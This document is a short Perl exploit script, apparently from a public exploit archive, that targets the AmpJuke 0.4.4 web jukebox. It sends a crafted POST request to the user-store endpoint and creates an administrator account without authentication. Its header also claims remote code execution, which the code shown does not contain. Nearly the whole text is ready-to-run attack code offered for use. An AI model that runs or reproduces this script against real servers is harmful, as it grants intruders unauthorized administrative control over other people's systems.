AmpJuke Version 0.4.4 auth byass

#AmpJuke Version 0.4.4 auth_bypass + remote code execution
#http://www.ampjuke.org/ampjuke-0.4.4.tar.gz
#this code will create an admin user for u,and execute a command ; good luck =]

use IO::Socket;
if (@ARGV<1) {
print "\n";
print "#        ampjuke.pl host /path/       #\n";
print "\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$data="username=ownada&admin=on&passwd=noob&lang=EN";
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die ("Exit");
print $sock "POST ".$path."index.php?what=users&act=store HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Referer: http://".$host.$path."index.php?what=users&act=create\n";
print $sock "Cookie: PHPSESSID=bd211f496c763a5fd3aac3dad60370c0\n";  #no sense,just to secure ^^
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".length($data)."\n";
print $sock "Connection: close\n\n";
print $sock $data;
print "[+]User created!\n";
#released by Bl0od3r